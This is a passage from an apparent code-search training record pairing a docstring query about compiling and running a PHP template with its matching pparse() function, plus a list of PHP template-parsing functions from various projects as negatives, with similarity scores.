substr($theValue, $pointer, $len);\n if ($data != '') {\n if ($stripNL) {\n // If the previous tag was set to strip NewLines in the beginning of the next data-chunk.\n $data = preg_replace('/^[ ]*' . CR . '?' . LF . '/', '', $data);\n }\n // These operations should only be performed on code outside the tags...\n if (!is_array($currentTag)) {\n // Constants\n $tsfe = $this->getTypoScriptFrontendController();\n $tmpConstants = $tsfe->tmpl->setup['constants.'];\n if ($conf['constants'] && is_array($tmpConstants)) {\n foreach ($tmpConstants as $key => $val) {\n if (is_string($val)) {\n $data = str_replace('###' . $key . '###', $val, $data);\n }\n }\n }\n // Short\n if (is_array($conf['short.'])) {\n $shortWords = $conf['short.'];\n krsort($shortWords);\n foreach ($shortWords as $key => $val) {\n if (is_string($val)) {\n $data = str_replace($key, $val, $data);\n }\n }\n }\n // stdWrap\n if (is_array($conf['plainTextStdWrap.'])) {\n $data = $this->stdWrap($data, $conf['plainTextStdWrap.']);\n }\n // userFunc\n if ($conf['userFunc']) {\n $data = $this->callUserFunction($conf['userFunc'], $conf['userFunc.'], $data);\n }\n // Makelinks: (Before search-words as we need the links to be generated when searchwords go on...!)\n if ($conf['makelinks']) {\n $data = $this->http_makelinks($data, $conf['makelinks.']['http.']);\n $data = $this->mailto_makelinks($data, $conf['makelinks.']['mailto.']);\n }\n // Search Words:\n if ($tsfe->no_cache && $conf['sword'] && is_array($tsfe->sWordList) && $tsfe->sWordRegEx) {\n $newstring = '';\n do {\n $pregSplitMode = 'i';\n if (isset($tsfe->config['config']['sword_noMixedCase']) && !empty($tsfe->config['config']['sword_noMixedCase'])) {\n $pregSplitMode = '';\n }\n $pieces = preg_split('/' . $tsfe->sWordRegEx . '/' . $pregSplitMode, $data, 2);\n $newstring .= $pieces[0];\n $match_len = strlen($data) - (strlen($pieces[0]) + strlen($pieces[1]));\n $inTag = false;\n if (strstr($pieces[0], '<') || strstr($pieces[0], '>')) {\n // Returns TRUE, if a '<' is closer to the string-end than '>'.\n // This is the case if we're INSIDE a tag (that could have been\n // made by makelinks...) and we must secure, that the inside of a tag is\n // not marked up.\n $inTag = strrpos($pieces[0], '<') > strrpos($pieces[0], '>');\n }\n // The searchword:\n $match = substr($data, strlen($pieces[0]), $match_len);\n if (trim($match) && strlen($match) > 1 && !$inTag) {\n $match = $this->wrap($match, $conf['sword']);\n }\n // Concatenate the Search Word again.\n $newstring .= $match;\n $data = $pieces[1];\n } while ($pieces[1]);\n $data = $newstring;\n }\n }\n $contentAccum[$contentAccumP] .= $data;\n }\n $inside = true;\n } else {\n // tags\n $len = strcspn(substr($theValue, $pointer), '>') + 1;\n $data = substr($theValue, $pointer, $len);\n if (StringUtility::endsWith($data, '/>') && strpos($data, '<link ') !== 0) {\n $tagContent = substr($data, 1, -2);\n } else {\n $tagContent = substr($data, 1, -1);\n }\n $tag = explode(' ', trim($tagContent), 2);\n $tag[0] = strtolower($tag[0]);\n if ($tag[0][0] === '/') {\n $tag[0] = substr($tag[0], 1);\n $tag['out'] = 1;\n }\n if ($conf['tags.'][$tag[0]]) {\n $treated = false;\n $stripNL = false;\n // in-tag\n if (!$currentTag && !$tag['out']) {\n // $currentTag (array!) is the tag we are currently processing\n $currentTag = $tag;\n $contentAccumP++;\n $treated = true;\n // in-out-tag: img and other empty tags\n if (preg_match('/^(area|base|br|col|hr|img|input|meta|param)$/i', $tag[0])) {\n $tag['out'] = 1;\n }\n }\n // out-tag\n if ($currentTag[0] === $tag[0] && $tag['out']) {\n $theName = $conf['tags.'][$tag[0]];\n $theConf = $conf['tags.'][$tag[0] . '.'];\n // This flag indicates, that NL- (13-10-chars) should be stripped first and last.\n $stripNL = (bool)$theConf['stripNL'];\n // This flag indicates, that this TypoTag section should NOT be included in the nonTypoTag content.\n $breakOut = (bool)$theConf['breakoutTypoTagContent'];\n $this->parameters = [];\n if ($currentTag[1]) {\n $params = GeneralUtility::get_tag_attributes($currentTag[1]);\n if (is_array($params)) {\n foreach ($params as $option => $val) {\n $this->parameters[strtolower($option)] = $val;\n }\n }\n }\n $this->parameters['allParams'] = trim($currentTag[1]);\n // Removes NL in the beginning and end of the tag-content AND at the end of the currentTagBuffer.\n // $stripNL depends on the configuration of the current tag\n if ($stripNL) {\n $contentAccum[$contentAccumP - 1] = preg_replace('/' . CR . '?' . LF . '[ ]*$/', '', $contentAccum[$contentAccumP - 1]);\n $contentAccum[$contentAccumP] = preg_replace('/^[ ]*' . CR . '?' . LF . '/', '', $contentAccum[$contentAccumP]);\n $contentAccum[$contentAccumP] = preg_replace('/' . CR . '?' . LF . '[ ]*$/', '', $contentAccum[$contentAccumP]);\n }\n $this->data[$this->currentValKey] = $contentAccum[$contentAccumP];\n $newInput = $this->cObjGetSingle($theName, $theConf, '/parseFunc/.tags.' . $tag[0]);\n // fetch the content object\n $contentAccum[$contentAccumP] = $newInput;\n $contentAccumP++;\n // If the TypoTag section\n if (!$breakOut) {\n $contentAccum[$contentAccumP - 2] .= $contentAccum[$contentAccumP - 1] . $contentAccum[$contentAccumP];\n unset($contentAccum[$contentAccumP]);\n unset($contentAccum[$contentAccumP - 1]);\n $contentAccumP -= 2;\n }\n unset($currentTag);\n $treated = true;\n }\n // other tags\n if (!$treated) {\n $contentAccum[$contentAccumP] .= $data;\n }\n } else {\n // If a tag was not a typo tag, then it is just added to the content\n $stripNL = false;\n if (GeneralUtility::inList($allowTags, $tag[0]) || $denyTags !== '*' && !GeneralUtility::inList($denyTags, $tag[0])) {\n $contentAccum[$contentAccumP] .= $data;\n } else {\n $contentAccum[$contentAccumP] .= htmlspecialchars($data);\n }\n }\n $inside = false;\n }\n $pointer += $len;\n } while ($pointer < $totalLen);\n // Parsing nonTypoTag content (all even keys):\n reset($contentAccum);\n $contentAccumCount = count($contentAccum);\n for ($a = 0; $a < $contentAccumCount; $a++) {\n if ($a % 2 != 1) {\n // stdWrap\n if (is_array($conf['nonTypoTagStdWrap.'])) {\n $contentAccum[$a] = $this->stdWrap($contentAccum[$a], $conf['nonTypoTagStdWrap.']);\n }\n // userFunc\n if ($conf['nonTypoTagUserFunc']) {\n $contentAccum[$a] = $this->callUserFunction($conf['nonTypoTagUserFunc'], $conf['nonTypoTagUserFunc.'], $contentAccum[$a]);\n }\n }\n }\n return implode('', $contentAccum);\n }", "public function parse(string $key, array $data = []): string\n\t{\n\t\t$html = $this->_parse($key, $data);\n\n\t\t/**\n\t\t * If somewhere on the orginal template they set the reparseKey\n\t\t * we need to re-parse the new template with the same data\n\t\t * this replaces the current output\n\t\t */\n\t\twhile ($this->reparseKey) {\n\t\t\t$data = array_replace($data, $this->reparseData);\n\n\t\t\t/* clear it so we don't loop */\n\t\t\tunset($this->reparseKey);\n\n\t\t\t$html = $this->_parse($this->reparseKey, $data);\n\t\t}\n\n\t\t/* return the output */\n\t\treturn $html;\n\t}", "public static function parseTemplate($email, $data)\n\t{\n\t\t// Parse the email\n\t\tforeach($data as $param => $value) {\n\t\t\t$email->subject = str_replace('{'.$param.'}', $value, $email->subject);\n\t\t\t$email->plain = str_replace('{'.$param.'}', $value, $email->plain);\n\t\t\t$email->html = str_replace('{'.$param.'}', $value, $email->html);\n\t\t}\n\t\t\n\t\t// Return it\n\t\treturn $email;\n\t}", "public function parse($template, $vars)\n {\n $old_TMPL = FALSE;\n\n if( !isset(ee()->TMPL))\n {\n ee()->load->library('template');\n ee()->TMPL = new EE_Template();\n }\n else\n {\n $old_TMPL = ee()->TMPL;\n }\n\n $template = ee()->functions->prep_conditionals($template, array($vars));\n $template = ee()->TMPL->parse_variables($template, array($vars));\n\n ee()->TMPL->template = '';\n ee()->TMPL->parse($template);\n ee()->TMPL->template = ee()->TMPL->parse_globals(ee()->TMPL->template);\n\n $template = ee()->TMPL->template;\n\n if($old_TMPL)\n {\n ee()->TMPL = $old_TMPL;\n }\n\n return $template;\n }", "public function parse(string $content);", "public function parse(string $content);", "public function parse()\n\t{\t\n\t if(isset($this->_cache))\n\t {\n\t $identifier = md5($this->_path);\n\t \n\t if (!$template = $this->_cache->get($identifier)) \n\t {\n\t $template = parent::parse();\n\t \n\t //Store the object in the cache\n\t\t \t $this->_cache->store($template, $identifier);\n\t }\n\t \n\t return $template;\n\t }\n\t \n\t return parent::parse();\n\t}", "abstract public function parse(\\SHH\\Parser &$parser);", "function _parse($string, $data, $return = FALSE)\n\t{\n // Start benchmark\n $this->ci->benchmark->mark('dwoo_parse_start');\n \n\t\t// Compatibility with PyroCMS v0.9.7 style links\n\t\t// TODO: Remove this for v1.0\n\t\t$string = preg_replace('/\\{page_url\\[([0-9]+)\\]\\}/', '{page_url($1)}', $string);\n\t\t\n // Convert from object to array\n if(!is_array($data))\n {\n \t$data = (array) $data;\n }\n \n $data = array_merge($data, $this->ci->load->_ci_cached_vars);\n \n $data['ci'] =& $this->ci;\n\n // Object containing data\n $dwoo_data = new Dwoo_Data;\n $dwoo_data->setData($data);\n \n try\n {\n\t // Object of the template\n\t $tpl = new Dwoo_Template_String($string);\n\t \n\t // render the template\n\t $parsed_string = $this->dwoo->get($tpl, $dwoo_data);\n }\n \n catch(Dwoo_Compilation_Exception $e)\n {\n \tshow_error($e);\n }\n \n // Finish benchmark\n $this->ci->benchmark->mark('dwoo_parse_end');\n\n // Return results or not ?\n\t\tif ( !$return )\n\t\t{\n\t\t\t$this->ci->output->append_output($parsed_string);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\treturn $parsed_string;\n\t}", "protected function parse()\n\t{\n\t\tparent::parse();\n\n\t\t// assign the datagrid\n\t\t$this->tpl->assign('dataGrid', ($this->dataGrid->getNumResults() != 0) ? $this->dataGrid->getContent() : false);\n\t}", "public function testObjectVariables()\n {\n\n $parser = new HTML_Template_Nest_Parser();\n $output = $parser->parse('${some_var->foo}');\n $this->assertEquals(\"<?php /* {some_var->foo} */ echo htmlentities(\\$_o(\\$p, 'some_var')->foo)?>\", $output);\n $output = $parser->parse('${some_var->FOO}');\n $this->assertEquals(\"<?php /* {some_var->FOO} */ echo htmlentities(\\$_o(\\$p, 'some_var')->FOO)?>\", $output);\n $output = $parser->parse('${some_var->foo(bar,bin, baz)}');\n $this->assertEquals(\n \"<?php /* {some_var->foo(bar,bin, baz)} */ echo htmlentities(\\$_o(\\$p, 'some_var')->foo(\\$_o(\\$p, 'bar'),\\$_o(\\$p, 'bin'), \\$_o(\\$p, 'baz')))?>\", \n $output\n );\n \n $output = $parser->parse(\n '${some_var->foo(bar,\"bin\", baz, \\'boo biscuits\\' )}'\n );\n $this->assertEquals(\n \"<?php /* {some_var->foo(bar,\\\"bin\\\", baz, 'boo biscuits' )} */ echo htmlentities(\\$_o(\\$p, 'some_var')->foo(\\$_o(\\$p, 'bar'),\" .\n \"\\\"bin\\\", \\$_o(\\$p, 'baz'), 'boo biscuits' ))?>\", \n $output\n );\n\n $output = $parser->parse(\n '${some_var->foo(bar,\"bin\", baz, \\'boo biscuit\\\\\\'s brother\\' )}'\n );\n $this->assertEquals(\n \"<?php /* {some_var->foo(bar,\\\"bin\\\", baz, 'boo biscuit\\\\'s brother' )} */ echo htmlentities(\\$_o(\\$p, 'some_var')->foo(\\$_o(\\$p, 'bar'),\\\"bin\\\"\" .\n \", \\$_o(\\$p, 'baz'), 'boo biscuit\\'s brother' ))?>\", \n $output\n );\n \n // nested methods\n $output = $parser->parse(\n '${some_var->foo(bar, \"bin\")->bar()->bob(\"bo\\\"oo\\\"\",bin)}'\n );\n $this->assertEquals(\n \"<?php /* {some_var->foo(bar, \\\"bin\\\")->bar()->bob(\\\"bo\\\\\\\"oo\\\\\\\"\\\",bin)} */ echo htmlentities(\\$_o(\\$p, 'some_var')->foo(\\$_o(\\$p, 'bar'), \\\"bin\\\")\" .\n \"->bar()->bob(\\\"bo\\\\\\\"oo\\\\\\\"\\\",\\$_o(\\$p, 'bin')))?>\", \n $output\n );\n \n // null testing\n $output = $parser->parseExpression(\"error != null &amp;&amp; error->getText() != ''\");\n $this->assertEquals(\n \"\\$_o(\\$p, 'error') != null && \\$_o(\\$p, 'error')->getText() != ''\",\n $output);\n \n $output = $parser->parseExpression(\"error->getText(null, 'foo') != ''\");\n $this->assertEquals(\n \"\\$_o(\\$p, 'error')->getText(null, 'foo') != ''\",\n $output); \n }", "function parse_email_template($template, $merge_fields = array())\n{\n $CI =& get_instance();\n if (!is_object($template) || $CI->input->post('template_name')) {\n $original_template = $template;\n if ($CI->input->post('template_name')) {\n $template = $CI->input->post('template_name');\n }\n $CI->db->where('slug', $template);\n $template = $CI->db->get('tblemailtemplates')->row();\n\n if ($CI->input->post('email_template_custom')) {\n $template->message = $CI->input->post('email_template_custom', false);\n // Replace the subject too\n $template->subject = $original_template->subject;\n }\n }\n $template = _parse_email_template_merge_fields($template, $merge_fields);\n\n\n return do_action('email_template_parsed', $template);\n}", "function load_template()\n{\n $CI =& get_instance();\n $CI->load->library('sistema');\n $CI->parser->parse($CI->sistema->tema['template'],get_tema());\n}", "function parse($string) {\n return \\Michelf\\Markdown::defaultTransform($string);\n}", "public static function parse(): void\n {\n // get the template\n $tpl = FrontendModel::getContainer()->get('templating');\n\n // logged in\n if (FrontendProfilesAuthentication::isLoggedIn()) {\n // get profile\n $profile = FrontendProfilesAuthentication::getProfile();\n\n // display name set?\n if ($profile->getDisplayName() != '') {\n $tpl->assign('profileDisplayName', $profile->getDisplayName());\n } else {\n // no display name -> use email\n $tpl->assign('profileDisplayName', $profile->getEmail());\n }\n\n // show logged in\n $tpl->assign('isLoggedIn', true);\n }\n\n // ignore these urls in the query string\n $ignoreUrls = [\n FrontendNavigation::getUrlForBlock('Profiles', 'Login'),\n FrontendNavigation::getUrlForBlock('Profiles', 'Register'),\n FrontendNavigation::getUrlForBlock('Profiles', 'ForgotPassword'),\n ];\n\n // query string\n $queryString = FrontendModel::getRequest()->query->has('queryString')\n ? SITE_URL . '/' . urldecode(FrontendModel::getRequest()->query->get('queryString'))\n : SITE_URL . FrontendModel::get('url')->getQueryString();\n\n // check all ignore urls\n foreach ($ignoreUrls as $url) {\n // query string contains a boeboe url\n if (mb_stripos($queryString, $url) !== false) {\n $queryString = '';\n break;\n }\n }\n\n // no need to add this if its empty\n $queryString = ($queryString !== '') ? '?queryString=' . rawurlencode($queryString) : '';\n\n // useful urls\n $tpl->assign('loginUrl', FrontendNavigation::getUrlForBlock('Profiles', 'Login') . $queryString);\n $tpl->assign('registerUrl', FrontendNavigation::getUrlForBlock('Profiles', 'Register'));\n $tpl->assign('forgotPasswordUrl', FrontendNavigation::getUrlForBlock('Profiles', 'ForgotPassword'));\n }", "public function parse($string);", "public function getParser() {}", "public function getParser() {}", "public function getParser() {}", "function get_template()\n {\n }", "function _parse($tags,$values,$text) {\n\t\tfor ($i = 0; $i<sizeof($tags); $i++) {\n\t\t\t\t$text = str_replace($tags[$i],$values[$i],$text);\n\t\t\t}\n\t\treturn $text;\n\t}", "public static function expr()\n {\n $out = call_user_func_array('self::parse', func_get_args());\n $obj = text($out);\n return $obj;\n }", "public function parse($data);", "public function parse($data);", "public function parse($data);", "public function parse(string $value);", "public function parse_repeat($template, $data, $return = FALSE)\r\n\t{\r\n\t\t$template = $this->CI->load->view($template, $data, TRUE);\r\n\t\t//$template = $this->_parse_double($template, $data);//ไม่ต้องใช้ Double แล้ว\r\n\t\t$template = $this->_parse_attribute($template, $data, $return);\r\n\t\treturn $this->_parse($template, $data, $return);\r\n\t}", "public static function importTpl()\n {\n extract(FeedPage::$var);\n?>\n<?php include(\"tpl/import.tpl.php\"); ?>\n<?php\n }", "function pparse($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Mighty Gorgon - Extra Debug - BEGIN\n\t\tif (defined('DEBUG_EXTRA') && DEBUG_EXTRA && !empty($_REQUEST['explain']))\n\t\t{\n\t\t\tglobal $user, $db;\n\t\t\tif (($user->data['user_level'] == ADMIN) && method_exists($db, 'sql_report'))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t// Mighty Gorgon - Extra Debug - END\n\n\t\tif (!defined('CSS_JS_PARSED'))\n\t\t{\n\t\t\t$this->add_css_js();\n\t\t}\n\n\t\t// parsing header if there is one\n\t\tif($this->preparse || $this->postparse)\n\t\t{\n\t\t\t$preparse = $this->preparse;\n\t\t\t$postparse = $this->postparse;\n\t\t\t$this->preparse = '';\n\t\t\t$this->postparse = '';\n\t\t\tif($preparse)\n\t\t\t{\n\t\t\t\t$this->pparse($preparse);\n\t\t\t}\n\t\t\tif($postparse)\n\t\t\t{\n\t\t\t\t$str = $handle;\n\t\t\t\t$handle = $postparse;\n\t\t\t\t$this->pparse($str);\n\t\t\t}\n\t\t}\n\n\t\t// checking if handle exists\n\t\tif (empty($this->files[$handle]) && empty($this->files_cache[$handle]))\n\t\t{\n\t\t\tif(isset($this->files[$handle]) && ($this->files[$handle] === false))\n\t\t\t{\n\t\t\t\t// skip file\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tdie(\"Template->loadfile(): No files found for handle $handle\");\n\t\t}\n\t\t$this->xs_startup();\n\t\t$force_recompile = empty($this->uncompiled_code[$handle]) ? false : true;\n\n\t\t// checking if php file exists.\n\t\tif (!empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t{\n\t\t\t// php file exists - running it instead of tpl\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t\treturn true;\n\t\t}\n\n\t\tif (!$this->loadfile($handle))\n\t\t{\n\t\t\tdie(\"Template->pparse(): Couldn't load template file for handle $handle\");\n\t\t}\n\n\t\t// actually compile the template now.\n\t\tif (empty($this->compiled_code[$handle]))\n\t\t{\n\t\t\t// Actually compile the code now.\n\t\t\tif(!empty($this->files_cache2[$handle]) && empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], $handle, $this->files_cache2[$handle]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], '', '');\n\t\t\t}\n\t\t}\n\n\t\t// Run the compiled code.\n\t\tif (empty($this->files_cache[$handle]) || $force_recompile)\n\t\t{\n\t\t\t$this->execute('', $this->compiled_code[$handle], $handle);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t}\n\t\treturn true;\n\t}", "public function getTemplate()\n {\n return isset($this->parseTemplate)?$this->parseTemplate:false;\n }", "public function parse($content);", "public function parse()\n {\n }", "public function parse()\n {\n }", "public function parse()\n {\n }", "public function parse()\n {\n }" ]
[ "0.7892171", "0.6537049", "0.6406975", "0.63866526", "0.6359076", "0.6225556", "0.6179863", "0.616894", "0.61579365", "0.6122088", "0.6117052", "0.6104156", "0.6104156", "0.6104156", "0.60521305", "0.60521305", "0.60521305", "0.60521305", "0.60458755", "0.5925067", "0.5903411", "0.589176", "0.58775455", "0.57829505", "0.5738768", "0.5687228", "0.5653744", "0.56175065", "0.5598995", "0.5588804", "0.5580214", "0.5571853", "0.55668265", "0.555347", "0.551091", "0.5508661", "0.54867834", "0.547492", "0.54487854", "0.54366267", "0.53991956", "0.53948516", "0.5380643", "0.5350922", "0.5341363", "0.5323024", "0.532275", "0.5318079", "0.531755", "0.53064656", "0.53015846", "0.529857", "0.5292137", "0.528457", "0.5268857", "0.5265059", "0.52539396", "0.52440214", "0.5233994", "0.5226453", "0.52164733", "0.5214378", "0.5213448", "0.5210207", "0.520931", "0.52024525", "0.5192194", "0.5191812", "0.51906985", "0.51814705", "0.51791203", "0.51791203", "0.5152436", "0.514682", "0.51458764", "0.51456946", "0.5143804", "0.5136522", "0.51162547", "0.5099859", "0.5098241", "0.5097173", "0.5087369", "0.5087369", "0.508516", "0.50847983", "0.507646", "0.50629556", "0.5056929", "0.5056929", "0.5056929", "0.50551003", "0.50487", "0.50485957", "0.5042963", "0.5042128", "0.5041796", "0.50403124", "0.5039898", "0.50367033", "0.50367033" ]
0.0
-1
Load the file for the handle, compile the file, and run the compiled code. This will print out the results of executing the template.
function pparse($handle) { global $config; // Mighty Gorgon - Extra Debug - BEGIN if (defined('DEBUG_EXTRA') && DEBUG_EXTRA && !empty($_REQUEST['explain'])) { global $user, $db; if (($user->data['user_level'] == ADMIN) && method_exists($db, 'sql_report')) { return false; } } // Mighty Gorgon - Extra Debug - END if (!defined('CSS_JS_PARSED')) { $this->add_css_js(); } // parsing header if there is one if($this->preparse || $this->postparse) { $preparse = $this->preparse; $postparse = $this->postparse; $this->preparse = ''; $this->postparse = ''; if($preparse) { $this->pparse($preparse); } if($postparse) { $str = $handle; $handle = $postparse; $this->pparse($str); } } // checking if handle exists if (empty($this->files[$handle]) && empty($this->files_cache[$handle])) { if(isset($this->files[$handle]) && ($this->files[$handle] === false)) { // skip file return true; } die("Template->loadfile(): No files found for handle $handle"); } $this->xs_startup(); $force_recompile = empty($this->uncompiled_code[$handle]) ? false : true; // checking if php file exists. if (!empty($this->files_cache[$handle]) && !$force_recompile) { // php file exists - running it instead of tpl $this->execute($this->files_cache[$handle], '', $handle); return true; } if (!$this->loadfile($handle)) { die("Template->pparse(): Couldn't load template file for handle $handle"); } // actually compile the template now. if (empty($this->compiled_code[$handle])) { // Actually compile the code now. if(!empty($this->files_cache2[$handle]) && empty($this->files_cache[$handle]) && !$force_recompile) { $this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], $handle, $this->files_cache2[$handle]); } else { $this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], '', ''); } } // Run the compiled code. if (empty($this->files_cache[$handle]) || $force_recompile) { $this->execute('', $this->compiled_code[$handle], $handle); } else { $this->execute($this->files_cache[$handle], '', $handle); } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n\t{\n\t\techo vsprintf($this->template,$this->_contents);\n\t}", "protected function _run()\n {\n $this->strictVars(true);\n\n //assign variables to the template engine\n $vars = get_object_vars($this);\n foreach ($vars as $key => $value) {\n if ('_' != substr($key, 0, 1)) {\n $this->_smarty->assign($key, $value);\n }\n }\n\n //why 'this'?\n //to emulate standard zend view functionality\n //doesn't mess up smarty in any way\n $this->_smarty->assign_by_ref('this', $this);\n\n //smarty needs a template_dir, and can only use templates,\n //found in that directory, so we have to strip it from the filename\n $file = func_get_arg(0);\n\n echo $this->_smarty->fetch($file);\n //process the template (and filter the output)\n }", "private function renderTemplate(){\n\t\trequire($this->TemplateFile);\n\t}", "function execute($filename, $code, $handle)\n\t{\n\t\tglobal $lang, $theme, $config;\n\t\t$template = $theme['template_name'];\n\t\tglobal ${$template};\n\t\t$theme_info = &${$template};\n\t\t$exclude_tpl_array = array('def_tree_def.tpl', 'rss_body.tpl');\n\t\t//die(basename($this->files[$handle]));\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' start -->';\n\t\t}\n\t\tif($filename)\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\tdie($this->files[$handle]);\n\t\t\tdie($code);\n\t\t\t*/\n\t\t\teval($code);\n\t\t}\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' end -->';\n\t\t}\n\t\treturn true;\n\t}", "protected function compile()\n\t{\n\t\t$lexer = new Lexer($this->template->getEnvironment());\n\t\t$stream = $lexer->tokenize(file_get_contents($this->filename), basename($this->filename));\n\n\t\t// unique class based on the filename\n\t\t// @todo fix problem with '-' in classes\n\t\t$class = $this->template->getEnvironment()->getCacheFilename($this->filename);\n\t\t$class = 'S' . substr($class, 0, -8) . '_Template';\n\n\t\t// writer object which contains the parsed PHP code\n\t\t$writer = new Writer();\n\t\t$writer->write(\"<?php\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('namespace Spoon\\Template;' . \"\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('/* ' . $this->filename . ' */' . \"\\n\");\n\t\t$writer->write(\"class $class extends Renderer\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\t\t$writer->write('protected function display(array $context)' . \"\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\n\t\t$tags = $this->template->getEnvironment()->getTags();\n\n\t\t$token = $stream->getCurrent();\n\t\twhile(!$stream->isEof())\n\t\t{\n\t\t\tswitch($token->getType())\n\t\t\t{\n\t\t\t\tcase Token::TEXT:\n\t\t\t\t\t$text = new TextNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$text->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::VAR_START:\n\t\t\t\t\t$stream->next();\n\t\t\t\t\t$variable = new VariableNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$variable->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::BLOCK_START:\n\t\t\t\t\t$token = $stream->next();\n\n\t\t\t\t\t// validate tag existence\n\t\t\t\t\tif(!isset($tags[$token->getValue()]))\n\t\t\t\t\t{\n\t\t\t\t\t\tthrow new SyntaxError(\n\t\t\t\t\t\t\tsprintf('There is no such template tag \"%s\"', $token->getValue()),\n\t\t\t\t\t\t\t$token->getLine(),\n\t\t\t\t\t\t\t$this->filename\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\t\t\t\t\t$node = new $tags[$token->getValue()]($stream, $this->template->getEnvironment());\n\t\t\t\t\t$node->compile($writer);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif($token->getType() !== Token::EOF)\n\t\t\t{\n\t\t\t\t$token = $stream->next();\n\t\t\t}\n\n\t\t\telse break;\n\t\t}\n\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\treturn $writer->getSource();\n\t}", "public function run ()\n\t{\n\t\t$dump = template::dump ();\n\n\t\t$head = '';\n\t\tforeach ( $dump ['css'] as $file )\n\t\t{\n\t\t\t$head .= $this->twig->render ( 'system/html/web/snippets/css.twig', [ 'file' => $file, 'defer' => substr ( $file, 0, 2 ) == '//' ] );\n\t\t}\n\n\t\tforeach ( $dump ['js'] as $file )\n\t\t{\n\t\t\t$head .= $this->twig->render ( 'system/html/web/snippets/js.twig', [ 'file' => $file, 'defer' => substr ( $file, 0, 2 ) == '//' ] );\n\t\t}\n\n\t\t$body = '';\n\t\tforeach ( $dump ['templates'] as $template )\n\t\t{\n\t\t\t$body .= $this->twig->render ( $template ['path'], $template ['environment'] );\n\t\t}\n\n\t\t// We do not use die incase some modules need to run after the layout have been generated\n\t\techo $this->twig->render ('system/html/web/base.twig', [\n\t\t\t'head' => $head,\n\t\t\t'body' => $body\n\t\t] );\n\t}", "function _tpl_load_file($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Try and open template for read\n\t\tif (!($fp = @fopen($this->files[$handle], 'r')))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): File ' . $this->files[$handle] . ' does not exist or is empty', '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// compile required\n\t\tinclude_once($config->url('includes/class_template_compiler'));\n\t\t$tpl_compiler = new tpl_compiler();\n\t\t$this->compiled_code[$handle] = $tpl_compiler->compile(trim(@fread($fp, filesize($this->files[$handle]))));\n\t\t@fclose($fp);\n\n\t\t// output the template to the cache\n\t\tif ( !$config->data['cache_disabled_template'] )\n\t\t{\n\t\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . str_replace('/', '_', $this->filename[$handle]) . '.' . $config->ext;\n\t\t\t$tpl_compiler->compile_write($handle, $this->compiled_code[$handle], $filename);\n\t\t}\n\t\tunset($tpl_compiler);\n\t}", "public function run()\n {\n global $sDB, $sUser, $sRequest, $sPage;\n\n if(!$sPage)\n {\n return;\n }\n\n $functionsFile = $this->getTemplateRootAbs().\"functions.php\";\n if(file_exists($functionsFile))\n {\n include($functionsFile);\n }\n\n $templatefile = $this->getTemplateRootAbs().$sPage->templateFile();\n\n if(file_exists($templatefile))\n {\n include($templatefile);\n }else\n {\n exception(\"Incfile: \".$templatefile.\" does not exist\");\n }\n }", "public function doCommand() {\n $basePath = $this->param('basePath');\n \n $tpl = $basePath . $this->param('template');\n \n if ($this->param('includeContext')) {\n $c = $this->context->toArray();\n extract($c);\n }\n \n if (is_readable($tpl) && is_file($tpl)) {\n // Do we need ob_flush()?\n ob_start();\n include $tpl;\n $str = ob_get_contents();\n ob_end_clean();\n return $str;\n }\n \n return 'Could not read template';\n }", "public function run()\n {\n $this->renderContent();\n echo ob_get_clean();\n }", "private function render_template() {\n\t\t$template = $this->template;\n\n\t\tif ( ! is_readable( $template ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tinclude $template;\n\t}", "protected function _run()\r\n {\r\n $file = func_num_args() > 0 &&\r\n file_exists(func_get_arg(0))\r\n ? func_get_arg(0)\r\n : '';\r\n if ($this->_customTemplate || $file) {\r\n $template = $this->_customTemplate;\r\n if (!$template) {\r\n $template = $file;\r\n }\r\n\r\n $this->_smarty->display($template);\r\n }\r\n else {\r\n throw new Zend_View_Exception(\r\n 'Cannot render view without any template\r\n being assigned or file does not exist'\r\n );\r\n }\r\n }", "public function display($file) {\n $tpl_file = $this->option ['templateDir'] . '/' . $file;\n if (! file_exists ( $tpl_file ))\n $this->core->err ( '102', $tpl_file );\n \n $parse_file = $this->option ['compileDir'] . '/' . sha1 ( $file ) . $file . '.php';\n \n if (! file_exists ( $parse_file ) || filemtime ( 